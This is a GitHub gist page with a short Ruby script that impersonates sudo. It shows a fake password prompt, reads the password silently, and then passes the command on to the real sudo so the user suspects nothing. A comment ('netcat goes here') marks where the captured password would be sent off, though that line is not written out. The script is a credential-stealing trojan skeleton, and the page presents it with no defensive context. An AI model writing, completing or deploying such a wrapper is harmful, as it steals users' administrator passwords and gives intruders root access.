Skip to content

Instantly share code, notes, and snippets.

@beta0x64 beta0x64/pseudo.rb
Last active Jun 6, 2016

Embed
What would you like to do?
require 'io/console'
if ARGV.empty?
# show help info
system("/usr/bin/sudo")
else
username = ENV['USER']
print "[sudo] password for #{username}: "
password = STDIN.noecho(&:gets).chomp
puts ""
# netcat goes here
args = ARGV.join(" ")
system("/usr/bin/sudo #{args}")
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.